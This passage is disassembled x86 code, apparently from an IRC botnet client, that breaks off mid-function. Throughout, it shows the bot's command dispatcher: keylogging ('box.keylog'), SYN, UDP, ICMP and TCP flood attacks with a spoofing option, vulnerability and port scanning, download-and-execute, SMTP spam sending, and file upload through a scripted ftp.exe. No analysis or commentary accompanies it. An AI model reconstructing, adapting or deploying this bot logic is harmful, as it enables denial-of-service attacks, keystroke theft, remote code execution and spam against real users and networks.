loc_40EA75: ; CODE XREF: sub_40CE55+1C02j
; sub_40CE55+1C18j
push esi
lea eax, [ebp+var_4D8]
push 80h
push eax
call sub_415A6A
lea eax, [ebp+var_2C8]
push offset unk_43597C
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 18h
push eax
call sub_414F93
add esp, 20h
mov [ebp+var_458], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4DC]
push ebx
push eax
push offset sub_4024DC
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_458]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_40EAF5
loc_40EADF: ; CODE XREF: sub_40CE55+1C9Ej
cmp [ebp+var_44C], ebx
jnz loc_40ECC3
push 32h
call dword_421060 ; Sleep
jmp short loc_40EADF
; ---------------------------------------------------------------------------
loc_40EAF5: ; CODE XREF: sub_40CE55+1C88j
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_43592C
jmp loc_40ECB4
; ---------------------------------------------------------------------------
loc_40EB06: ; CODE XREF: sub_40CE55+1BC2j
push edi
push offset aOff ; "off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40ECC3
push ebx
push 18h
call sub_41518E
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40EB34
push eax
push offset unk_4358DC
jmp loc_40ECB4
; ---------------------------------------------------------------------------
loc_40EB34: ; CODE XREF: sub_40CE55+1CD2j
push offset unk_4358A0
jmp short loc_40EBA7
; ---------------------------------------------------------------------------
loc_40EB3B: ; CODE XREF: sub_40CE55+1BADj
push [ebp+arg_8]
push offset aBox_keylog ; "box.keylog"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40ECED
push edi
push offset aOn ; "on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40EBBA
push edi
push offset aFile ; "file"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40EBBA
push edi
push offset aOff ; "off"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40ECC3
push ebx
push 1Ah
call sub_41518E
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40EBA2
push eax
push offset unk_435844
jmp loc_40ECB4
; ---------------------------------------------------------------------------
loc_40EBA2: ; CODE XREF: sub_40CE55+1D40j
push offset unk_435804
loc_40EBA7: ; CODE XREF: sub_40CE55+1BD9j
; sub_40CE55+1CE4j ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
pop ecx
pop ecx
jmp loc_40ECC3
; ---------------------------------------------------------------------------
loc_40EBBA: ; CODE XREF: sub_40CE55+1D0Cj
; sub_40CE55+1D1Dj
push 1Ah
call sub_4151DB
test eax, eax
pop ecx
jle short loc_40EBCD
push offset unk_4357D0
jmp short loc_40EBA7
; ---------------------------------------------------------------------------
loc_40EBCD: ; CODE XREF: sub_40CE55+1D6Fj
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_4DC], eax
mov eax, [ebp+var_4]
push offset aFile ; "file"
mov [ebp+var_454], eax
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EBFC
mov [ebp+var_450], 1
jmp short loc_40EC05
; ---------------------------------------------------------------------------
loc_40EBFC: ; CODE XREF: sub_40CE55+1D99j
mov eax, [ebp+var_8]
mov [ebp+var_450], eax
loc_40EC05: ; CODE XREF: sub_40CE55+1DA5j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_40EC2C
mov esi, offset dword_42C248
push offset byte_438FBC
push esi
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EC2C
mov esi, [ebp+var_8C]
loc_40EC2C: ; CODE XREF: sub_40CE55+1DB9j
; sub_40CE55+1DCFj
push esi
lea eax, [ebp+var_4D4]
push 80h
push eax
call sub_415A6A
lea eax, [ebp+var_2C8]
push offset unk_43579C
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_2C8]
push 1Ah
push eax
call sub_414F93
add esp, 20h
mov [ebp+var_4D8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4DC]
push ebx
push eax
push offset sub_4021FB
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_4D8]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_40ECA8
loc_40EC96: ; CODE XREF: sub_40CE55+1E51j
cmp [ebp+var_44C], ebx
jnz short loc_40ECC3
push 32h
call dword_421060 ; Sleep
jmp short loc_40EC96
; ---------------------------------------------------------------------------
loc_40ECA8: ; CODE XREF: sub_40CE55+1E3Fj
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_43574C
loc_40ECB4: ; CODE XREF: sub_40CE55+1CACj
; sub_40CE55+1CDAj ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 0Ch
loc_40ECC3: ; CODE XREF: sub_40CE55+1C90j
; sub_40CE55+1CC0j ...
cmp [ebp+var_8], ebx
jnz loc_40D7F9
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
jmp loc_40D7F9
; ---------------------------------------------------------------------------
loc_40ECED: ; CODE XREF: sub_40CE55+1CF7j
push [ebp+arg_8]
push offset aBox_net ; "box.net"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40EFBE
cmp dword_43A468, ebx
jz short loc_40ED1E
cmp dword_43A490, ebx
jz short loc_40ED1E
push offset dword_4356F8
jmp loc_40EF78
; ---------------------------------------------------------------------------
loc_40ED1E: ; CODE XREF: sub_40CE55+1EB5j
; sub_40CE55+1EBDj
cmp [ebp+var_C], ebx
jz loc_40EF86
mov eax, [ebp+esi+var_8C]
mov [ebp+arg_0], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_40ED46
push eax
push [ebp+var_C]
call sub_415AC0
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_40ED46: ; CODE XREF: sub_40CE55+1EE1j
push edi
push offset aStart ; "start"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EDAC
cmp [ebp+arg_18], ebx
jz short loc_40ED80
push [ebp+arg_0]
push 3
loc_40ED61: ; CODE XREF: sub_40CE55+1F6Dj
; sub_40CE55+1F85j ...
call sub_412DE7
push eax
lea eax, [ebp+var_2C8]
push offset aS_1 ; "%s"
push eax
call sub_4154E7
add esp, 14h
jmp loc_40EF86
; ---------------------------------------------------------------------------
loc_40ED80: ; CODE XREF: sub_40CE55+1F05j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_41308E
add esp, 0Ch
test eax, eax
jz short loc_40EDA2
push offset dword_4356C0
jmp loc_40EF78
; ---------------------------------------------------------------------------
loc_40EDA2: ; CODE XREF: sub_40CE55+1F41j
push offset dword_43568C
jmp loc_40EF78
; ---------------------------------------------------------------------------
loc_40EDAC: ; CODE XREF: sub_40CE55+1F00j
push edi
push offset aStop ; "stop"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EDC4
push [ebp+arg_0]
push 4
jmp short loc_40ED61
; ---------------------------------------------------------------------------
loc_40EDC4: ; CODE XREF: sub_40CE55+1F66j
push edi
push offset aPause ; "pause"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EDDC
push [ebp+arg_0]
push 5
jmp short loc_40ED61
; ---------------------------------------------------------------------------
loc_40EDDC: ; CODE XREF: sub_40CE55+1F7Ej
push edi
push offset aContinue ; "continue"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EDF7
push [ebp+arg_0]
push 6
jmp loc_40ED61
; ---------------------------------------------------------------------------
loc_40EDF7: ; CODE XREF: sub_40CE55+1F96j
push edi
push offset aDelete ; "delete"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EE12
push [ebp+arg_0]
push 1
jmp loc_40ED61
; ---------------------------------------------------------------------------
loc_40EE12: ; CODE XREF: sub_40CE55+1FB1j
push edi
push offset aShare ; "share"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EE8F
cmp [ebp+arg_18], ebx
jz short loc_40EE62
cmp [ebp+var_9B0], bl
jz short loc_40EE38
push ebx
push [ebp+arg_18]
push 1
jmp short loc_40EE43
; ---------------------------------------------------------------------------
loc_40EE38: ; CODE XREF: sub_40CE55+1FD9j
push [ebp+esi+var_88]
push [ebp+arg_18]
push ebx
loc_40EE43: ; CODE XREF: sub_40CE55+1FE1j
call sub_4131CB
push eax
lea eax, [ebp+var_2C8]
push offset aS_1 ; "%s"
push eax
call sub_4154E7
add esp, 18h
jmp loc_40EF86
; ---------------------------------------------------------------------------
loc_40EE62: ; CODE XREF: sub_40CE55+1FD1j
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_4133C0
add esp, 10h
test eax, eax
jz short loc_40EE85
push offset dword_435638
jmp loc_40EF78
; ---------------------------------------------------------------------------
loc_40EE85: ; CODE XREF: sub_40CE55+2024j
push offset dword_435604
jmp loc_40EF78
; ---------------------------------------------------------------------------
loc_40EE8F: ; CODE XREF: sub_40CE55+1FCCj
push edi
push offset aUser ; "user"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40EF2B
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_40EF04
cmp [ebp+var_9B0], bl
jz short loc_40EEC5
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
push ebx
push eax
push 1
jmp short loc_40EEE5
; ---------------------------------------------------------------------------
loc_40EEC5: ; CODE XREF: sub_40CE55+205Cj
push [ebp+var_4]
mov esi, [ebp+esi+var_88]
cmp esi, ebx
push [ebp+var_8C]
push [ebp+arg_4]
jz short loc_40EEE1
push esi
push eax
push ebx
jmp short loc_40EEE5
; ---------------------------------------------------------------------------
loc_40EEE1: ; CODE XREF: sub_40CE55+2085j
push ebx
push eax
push 2
loc_40EEE5: ; CODE XREF: sub_40CE55+206Ej
; sub_40CE55+208Aj
call sub_4134E1
push eax
lea eax, [ebp+var_2C8]
push offset aS_1 ; "%s"
push eax
call sub_4154E7
add esp, 24h
jmp loc_40EF86
; ---------------------------------------------------------------------------
loc_40EF04: ; CODE XREF: sub_40CE55+2054j
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_4139F5
add esp, 10h
test eax, eax
jz short loc_40EF24
push offset dword_4355C8
jmp short loc_40EF78
; ---------------------------------------------------------------------------
loc_40EF24: ; CODE XREF: sub_40CE55+20C6j
push offset dword_435598
jmp short loc_40EF78
; ---------------------------------------------------------------------------
loc_40EF2B: ; CODE XREF: sub_40CE55+2049j
push edi
push offset aSend ; "send"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_40EF73
cmp [ebp+arg_18], ebx
jz short loc_40EF6C
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_413CA9
push eax
lea eax, [ebp+var_2C8]
push offset aS_1 ; "%s"
push eax
call sub_4154E7
add esp, 1Ch
jmp short loc_40EF86
; ---------------------------------------------------------------------------
loc_40EF6C: ; CODE XREF: sub_40CE55+20EAj
push offset dword_435564
jmp short loc_40EF78
; ---------------------------------------------------------------------------
loc_40EF73: ; CODE XREF: sub_40CE55+20E5j
push offset dword_435534
loc_40EF78: ; CODE XREF: sub_40CE55+1EC4j
; sub_40CE55+1F48j ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
pop ecx
pop ecx
loc_40EF86: ; CODE XREF: sub_40CE55+1ECCj
; sub_40CE55+1F26j ...
cmp [ebp+var_8], ebx
jnz short loc_40EFA7
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
loc_40EFA7: ; CODE XREF: sub_40CE55+2134j
; sub_40CE55+44CDj ...
mov esi, [ebp+arg_24]
loc_40EFAA: ; CODE XREF: sub_40CE55+9A7j
; sub_40CE55+47A8j ...
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
pop ecx
mov eax, esi
jmp loc_40D21C
; ---------------------------------------------------------------------------
loc_40EFBE: ; CODE XREF: sub_40CE55+1EA9j
push [ebp+arg_8]
push offset aEnz_gethost ; "enz.gethost"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4111C9
push [ebp+arg_8]
push offset aEnz_gh ; "enz.gh"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4111C9
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_40D219
push [ebp+arg_8]
push offset aEnz_addalias ; "enz.addalias"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41118A
push [ebp+arg_8]
push offset aEnz_aa ; "enz.aa"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41118A
push [ebp+arg_8]
push offset aEnz_privmsg ; "enz.privmsg"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411137
push [ebp+arg_8]
push offset aEnz_pm ; "enz.pm"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411137
push [ebp+arg_8]
push offset aEnz_action ; "enz.action"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4110C9
push [ebp+arg_8]
push offset aEnz_ac ; "enz.ac"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4110C9
push [ebp+arg_8]
push offset aEnz_cycle ; "enz.cycle"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411066
push [ebp+arg_8]
push offset aEnz_cy ; "enz.cy"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411066
push [ebp+arg_8]
push offset aEnz_mode ; "enz.mode"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411027
push [ebp+arg_8]
push offset aEnz_m ; "enz.m"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_411027
push [ebp+arg_8]
push offset aClone_raw ; "clone.raw"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410FBC
push [ebp+arg_8]
push offset aClone_ra ; "clone.ra"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410FBC
push [ebp+arg_8]
push offset aClone_mode ; "clone.mode"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410F3A
push [ebp+arg_8]
push offset aClone_m ; "clone.m"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410F3A
push [ebp+arg_8]
push offset aClone_nick ; "clone.nick"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410EC9
push [ebp+arg_8]
push offset aClone_ni ; "clone.ni"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410EC9
push [ebp+arg_8]
push offset aClone_join ; "clone.join"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410EA3
push [ebp+arg_8]
push offset aClone_j ; "clone.j"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410EA3
push [ebp+arg_8]
push offset aClone_part ; "clone.part"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410E40
push [ebp+arg_8]
push offset aClone_p ; "clone.p"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410E40
push [ebp+arg_8]
push offset aEnz_repeat ; "enz.repeat"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410D7A
push [ebp+arg_8]
push offset aEnz_rp ; "enz.rp"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410D7A
push [ebp+arg_8]
push offset aEnz_delay ; "enz.delay"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410CDF
push [ebp+arg_8]
push offset aEnz_de ; "enz.de"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410CDF
push [ebp+arg_8]
push offset aDownload_updiz ; "download.updiz"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410B61
push [ebp+arg_8]
push offset aDownload_upz ; "download.upz"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410B61
push [ebp+arg_8]
push offset aBox_execute ; "box.execute"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410AC0
push [ebp+arg_8]
push offset aBox_e ; "box.e"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410AC0
push [ebp+arg_8]
push offset aBox_findfile ; "box.findfile"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4109C2
push [ebp+arg_8]
push offset aBox_ff ; "box.ff"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_4109C2
push [ebp+arg_8]
push offset aBox_rename ; "box.rename"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410971
push [ebp+arg_8]
push offset aBox_mv ; "box.mv"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410971
push [ebp+arg_8]
push offset aDdos_icmp ; "ddos.icmp"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410876
push [ebp+arg_8]
push offset aDdos_ic ; "ddos.ic"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410876
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_40D219
push [ebp+arg_8]
push offset aClone_make ; "clone.make"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41078B
push [ebp+arg_8]
push offset aClone_start ; "clone.start"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41078B
push [ebp+arg_8]
push offset aDs_sy1 ; "ds.sy1"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410686
push [ebp+arg_8]
push offset aDs_ack ; "ds.ack"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410686
push [ebp+arg_8]
push offset aDs_rm ; "ds.rm"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410686
push [ebp+arg_8]
push offset aDdos_synflood ; "ddos.synflood"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410588
push [ebp+arg_8]
push offset aSy1 ; "sy1"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410588
push [ebp+arg_8]
push offset aDownload_fromw ; "download.fromwww"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41044A
push [ebp+arg_8]
push offset aD1 ; "d1"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41044A
push [ebp+arg_8]
push offset aServer_redir_0 ; "server.redirect.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410350
push [ebp+arg_8]
push offset aServer_rd_on ; "server.rd.on"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410350
push [ebp+arg_8]
push offset aEnz_portscan ; "enz.portscan"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41025D
push [ebp+arg_8]
push offset aEnz_ps ; "enz.ps"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_41025D
push [ebp+arg_8]
push offset aClone_privmsg ; "clone.privmsg"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410188
push [ebp+arg_8]
push offset aClone_pm ; "clone.pm"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410188
push [ebp+arg_8]
push offset aClone_action ; "clone.action"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410073
push [ebp+arg_8]
push offset aClone_ac ; "clone.ac"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_410073
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_40D219
push [ebp+arg_8]
push offset aVuln_start ; "vuln.start"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40FD1A
push [ebp+arg_8]
push offset aVvv ; "vvv"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40FD1A
push [ebp+arg_8]
push offset aDdos_udpflood ; "ddos.udpflood"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40FBFA
push [ebp+arg_8]
push offset aDdos_udpf ; "ddos.udpf"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40FBFA
push [ebp+arg_8]
push offset aPu ; "pu"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40FBFA
push [ebp+arg_8]
push offset aDdos_pingflood ; "ddos.pingflood"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40FAC7
push [ebp+arg_8]
push offset aDdos_pingf ; "ddos.pingf"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40FAC7
push [ebp+arg_8]
push offset aPg ; "pg"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40FAC7
push [ebp+arg_8]
push offset aDdos_tcpflood ; "ddos.tcpflood"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40F934
push [ebp+arg_8]
push offset aUsa ; "usa"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40F934
push [ebp+arg_8]
push offset aUtil_email ; "util.email"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_40F73D
lea eax, [ebp+var_3E4]
push edi
push eax
call sub_415C00
push [ebp+arg_18]
call sub_415A5F
push [ebp+arg_0]
mov [ebp+arg_18], eax
lea eax, [ebp+var_D9C]
push eax
call sub_415C00
push [ebp+arg_10]
lea eax, [ebp+var_B94]
push eax
call sub_415C00
push offset asc_426A00 ; " "
push offset a_ ; "_"
push [ebp+esi+var_80]
call sub_4099AA
push eax
lea eax, [ebp+var_548]
push eax
call sub_415C00
add esp, 30h
lea eax, [ebp+var_6F4]
push eax
push 101h
call dword_43A310
lea eax, [ebp+var_3E4]
push eax
call dword_43A41C
push 6
push 1
push 2
mov edi, eax
call dword_43A418
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_2D8], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_2D4], eax
call dword_43A398
mov [ebp+var_2D6], ax
lea eax, [ebp+var_548]
push eax
lea eax, [ebp+var_D9C]
push eax
lea eax, [ebp+var_548]
push eax
lea eax, [ebp+var_B94]
push eax
lea eax, [ebp+var_D9C]
push eax
lea eax, [ebp+var_159C]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_4154E7
add esp, 1Ch
lea eax, [ebp+var_2D8]
push 10h
push eax
push esi
call dword_43A340
mov edi, 100h
push ebx
lea eax, [ebp+var_C98]
push edi
push eax
push esi
call dword_43A3B0
lea eax, [ebp+var_C98]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_159C]
push eax
push esi
call dword_43A3E8
push ebx
lea eax, [ebp+var_C98]
push edi
push eax
push esi
call dword_43A3B0
push esi
call dword_43A430
call dword_43A2F8
lea eax, [ebp+var_B94]
push eax
push offset unk_4351E0
loc_40F704: ; CODE XREF: sub_40CE55+3A1Cj
; sub_40CE55+3D07j ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 0Ch
loc_40F713: ; CODE XREF: sub_40CE55+3A00j
; sub_40CE55+3CABj ...
cmp [ebp+var_8], ebx
jnz loc_4124D6
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
jmp loc_4124D6
; ---------------------------------------------------------------------------
loc_40F73D: ; CODE XREF: sub_40CE55+2759j
push [ebp+arg_8]
push offset aUtil_httpcon ; "util.httpcon"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40F906
push [ebp+arg_8]
push offset aUtil_hcon ; "util.hcon"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz loc_40F906
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz loc_40D219
push [ebp+arg_8]
push offset aFtp_upload ; "ftp.upload"
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz loc_41298E
push 4
push esi
call sub_40C1FE
pop ecx
test eax, eax
pop ecx
jnz short loc_40F7DB
push esi
push offset dword_435184
loc_40F7A2: ; CODE XREF: sub_40CE55+2C63j
; sub_40CE55+3219j ...
lea eax, [ebp+var_2C8]
push eax
call sub_4154E7
add esp, 0Ch
loc_40F7B1: ; CODE XREF: sub_40CE55+2C47j
; sub_40CE55+31FDj ...
cmp [ebp+var_8], ebx
jnz loc_41284E
push ebx
push [ebp+var_4]
loc_40F7BE: ; CODE XREF: sub_40CE55+382Cj
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
loc_40F7CE: ; CODE XREF: sub_40CE55+50D1j
call sub_412D4C
add esp, 14h
jmp loc_41284E
; ---------------------------------------------------------------------------
loc_40F7DB: ; CODE XREF: sub_40CE55+2945j
call dword_42104C ; GetTickCount
push eax
call sub_415539
pop ecx
call sub_415543
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_415543
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_415543
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_C9C]
push edx
push eax
lea eax, [ebp+var_B98]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_4154E7
lea eax, [ebp+var_B98]
push offset aAb ; "ab"
push eax
call sub_415BE8
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_40D219
push esi
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_415B96
push [ebp+arg_24]
call sub_415B40
lea eax, [ebp+var_B98]
push eax
lea eax, [ebp+var_3E4]
push offset aSS_4 ; "-s:%s"
push eax
call sub_4154E7
add esp, 2Ch
lea eax, [ebp+var_3E4]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_43A30C
test eax, eax
push edi
push esi
jz short loc_40F8A5
push offset dword_435108
jmp short loc_40F8AA
; ---------------------------------------------------------------------------
loc_40F8A5: ; CODE XREF: sub_40CE55+2A47j
push offset dword_4350C8
loc_40F8AA: ; CODE XREF: sub_40CE55+2A4Ej
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40F8D3
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412D4C
add esp, 14h
loc_40F8D3: ; CODE XREF: sub_40CE55+2A60j
lea eax, [ebp+var_2C8]
push eax
call sub_40B16D
loc_40F8DF: ; CODE XREF: sub_40CE55+2AAFj
lea eax, [ebp+var_B98]
push 4
push eax
call sub_40C1FE
add esp, 0Ch
test eax, eax
jz loc_40D219
lea eax, [ebp+var_B98]
push eax
call sub_4178FC
jmp short loc_40F8DF
; ---------------------------------------------------------------------------
loc_40F906: ; CODE XREF: sub_40CE55+28F9j
; sub_40CE55+2910j
push [ebp+esi+var_80]
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
call sub_415A5F
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_406B1D
jmp loc_41298B
; ---------------------------------------------------------------------------
loc_40F934: ; CODE XREF: sub_40CE55+272Bj
; sub_40CE55+2742j
mov esi, 80h
push edi
lea eax, [ebp+var_680]
push esi
push eax
call sub_415A6A
lea eax, [ebp+var_680]
push eax
push offset aSyn ; "syn"
call sub_415910
add esp, 14h
test eax, eax
jz short loc_40F997
lea eax, [ebp+var_680]
push eax
push offset aAck ; "ack"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40F997
lea eax, [ebp+var_680]
push eax
push offset aRandom ; "random"
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40F997
push offset dword_43508C
jmp loc_41202C
; ---------------------------------------------------------------------------
loc_40F997: ; CODE XREF: sub_40CE55+2B08j
; sub_40CE55+2B1Fj ...
push [ebp+arg_10]
call sub_415A5F
cmp eax, ebx
pop ecx
mov [ebp+var_578], eax
jle loc_40FABD
push edi
lea eax, [ebp+var_680]
push esi
push eax
call sub_415A6A
push [ebp+arg_18]
lea eax, [ebp+var_700]
push esi
push eax
call sub_415A6A
push [ebp+arg_0]
call sub_415A5F
mov [ebp+var_57C], eax
xor eax, eax
cmp [ebp+var_9A2], bl
push [ebp+var_8C]
setnz al
mov [ebp+var_574], eax
mov eax, [ebp+arg_4]
mov [ebp+var_704], eax
lea eax, [ebp+var_600]
push esi
push eax
call sub_415A6A
mov eax, [ebp+var_4]
add esp, 28h
cmp [ebp+var_574], ebx
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
mov [ebp+var_56C], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_40FA2E
mov eax, offset aNormal ; "Normal"
loc_40FA2E: ; CODE XREF: sub_40CE55+2BD2j
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push eax
push offset dword_435034
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_415A6A
push ebx
lea eax, [ebp+var_2C8]
push 0Ch
push eax
call sub_414F93
add esp, 2Ch
mov [ebp+var_580], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_704]
push ebx
push eax
push offset sub_401BD6
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_580]
imul ecx, 234h
cmp eax, ebx
mov dword_43F53C[ecx], eax
jz short loc_40FAAC
loc_40FA96: ; CODE XREF: sub_40CE55+2C55j
cmp [ebp+var_568], ebx
jnz loc_40F7B1
push 32h
call dword_421060 ; Sleep
jmp short loc_40FA96
; ---------------------------------------------------------------------------
loc_40FAAC: ; CODE XREF: sub_40CE55+2C3Fj
